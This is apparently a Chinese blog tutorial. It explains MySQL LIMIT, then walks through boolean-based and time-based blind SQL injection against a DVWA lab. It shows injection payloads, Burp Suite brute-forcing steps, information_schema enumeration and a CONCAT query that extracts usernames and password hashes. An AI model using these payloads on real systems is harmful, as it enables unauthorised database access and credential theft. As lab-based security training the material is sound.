mysql中limit的详细用法
1、用于强制返回指定的记录行数
在查询中,经常要返回前几条或者中间某几行数据时,用到limit
语法如下
select * from table_name limit [offset,] rows

 参数说明:
  offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
  rows:返回具体行数

总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。

哪种情况适合boolean布尔型注入攻击

页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

1)代码层分析

接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database
否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库
里任何内容,如果存在注入,成为盲注入。

 判断盲注入的方法

方法1:布尔型盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样 方法2:延时注入
如果输入检测语句页面没有任何改
变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时
返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行

 判断数据库库名长度

要查询当前数据库库名,首先确定要查询的数据库的长度。
1' and if(length(database())=4,1,0)--+

length(database())=4,验证通过

length(database())=4,验证结果“MISSING”

结论:数据库名长度为4

1)数据库名
mysql> select database();
+------------+
| database() |
+------------+
| dvwa |
+------------+
1 row in set (0.00 sec) mysql> 2)数据库的字段名第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql> 3)猜测数据库第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d |
+------------------------------------+
1 row in set (0.00 sec) mysql>

 结合burpsuite猜测数据库全称

url传参:1' and if(substring((select database()),1,1)='d',1,0) --+
http://192.168.1.6/01/vulnerabilities/sqli_blind/?id=1%27%20and%20if(substring((select%20database()),1,1)=%27d%27,1,0)%20--+&Submit=Submit#
1、burpsuite截取结果

2、设置burpsuite变量:

 3、attack结果

由此登出数据库名为dvwa

substring截取数据库表字段,判断数据表名

原理
1)表名
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1);
+--------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1) |
+--------------------------------------------------------------------------------------------------------+
| guestbook           
mysql>

2)表名中的字段
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1);
+----------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1) |
+----------------------------------------------------------------------------------------------------------+
| g                                                                                                        |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>
3)sql组合
mysql> select * from users where user_id=1 and if(substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='g',1,0);
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /01/hackable/users/admin.jpg | 2020-01-09 16:58:08 | 0 |
+---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+
1 row i
1)url拼接:if(substring((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)='g',1,0)

2)开启代理,burpsuite拦截

3)设置变量,payload中数据库表名长度可默认最大设置为40

共爆出2张数据表

由此结论:共存在两张数据表:guestbook,users

爆出字段名

1)users表的字段
mysql> select column_name from information_schema.columns where table_name='users' and table_schema=database();
+--------------+
| column_name |
+--------------+
| user_id |
| first_name |
| last_name |
| user |
| password |
| avatar |
| last_login |
| failed_login |
+--------------+
8 rows in set (0.00 sec) mysql> 2)猜出首个字段名的第一个字母
mysql>
mysql> select if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0);
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| if(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.02 sec) mysql>
url 拼接:1' and if(substring((select column_name from information_schema.columns where  table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) --+

burpsuit后登出字段内容:user ,password

url 拼接:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)='a',1,0)--+

burpsuite拦截信息,设置变量 ,爆破后登出 user与password

boolean布尔型盲注的更多相关文章

  1. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  2. 【Python】测试布尔型盲注脚本

    sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys impo ...

  3. SQL注入之Boolean型盲注

    什么是Boolean型注入 Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通 ...

  4. 深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入

    SQL测试-基于布尔,延时盲注 布尔,延时注入常用到的判断语句 regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 ...

  5. Oracle基于布尔的盲注总结

    0x01 decode 函数布尔盲注 decode(字段或字段的运算,值1,值2,值3) 这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3 当然值1,值2,值3也可以 ...

  6. 【sqli-labs】 less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

    ' or 1=1# -->失败 1" or 1=1# -->失败 1') or 1=1# -->失败 1") or 1=1# -->成功 判断为双引号变形注 ...

  7. 【sqli-labs】 less15 POST - Blind- Boolian/time Based - Single quotes (基于bool/时间的单引号POST型盲注)

    错误不回显了 构造永真登陆 登陆成功了 虽然登陆成功了,但是数据库的数据还么有爆出来 构造一下用户名 ' or length(database())=8# 如果数据库名的长度不等于8,登陆会失败 猜测 ...

  8. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  9. MySQL手注之盲注(布尔)

    布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length()  返回字符串的长度, 可 ...

  10. 2019-9-9:渗透测试,基础学习,pydictor使用,sql盲注,docker使用,笔记

    pydictor,强大的密码生成工具,可以合并密码字典,词频统计,去重,枚举数字字典生成字典python3 pydictor.py -base d --len 4 4 生成纯数字4位密码python3 ...

随机推荐

  1. 钓鱼攻击之:WEB 钓鱼

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. 钓鱼 ...

  2. GPS地图生成02之经典算法体验

    经典的利用轨迹生成地图的算法与数据集可寻找于:Mapconstruction by pfoser Mapconstruction by pfoser数据集中,雅典数据集投影坐标系为(UTM, GGRS ...

  3. flexible.js源码分析

    (function flexible(window,document){ // 获取html的根元素 var docEl = document.documentElement; // dpr 物理像素 ...

  4. 在grafana中使用不同的数据源及插件安装

    一.postgresql作为数据源 现在PG的版本是10.5(10+) 加入datasource 时只能指定一个数据库,对于监控来说可使用默认数据库postgres! 可以方便地作趋势图以及使用tab ...

  5. url 获取 值

    https://blog.csdn.net/weixin_50878675/article/details/126348725

  6. K8s集群安全机制

    安全机制说明 k8s作为一个分布式集群管理的工具,保证集群的安全性是其一个重要的任务.API Server是集群内部各个组件通信的中介,也是外部控制的入口,,所以K8s的安全机制就是围绕保护API S ...

  7. 宝塔Linux定时shell

    定时清除缓存文件 rm -rfv /www/wwwroot/www.xxx.com/runtime 定时解压,常用于定时恢复站点 解压到当前 cd /www/wwwroot/www.xxx.com t ...

  8. Typora的一些基础用法

    Typora的简单实用技巧 标题 标题分为h1~h6六个等级,数字越小标题越大. 定义标题有一下几种方式. 方式一:这个标题手敲就在文本前边敲#号,#和文本中间需又空格隔开. 方式二:快捷键,Ctrl ...

  9. ETCD 实现服务发现讲解

    租约:具有时间有效期,键绑定到租约后,当租约到期失效,绑定到的租约的键也会被删除. 创建租约 etcdctl lease grant 600 lease 694d81f509b7940a grante ...

  10. Unity打包xcode修改工程配置代码

    1 using System.IO; 2 using UnityEngine; 3 using UnityEditor; 4 using UnityEditor.iOS.Xcode; 5 using ...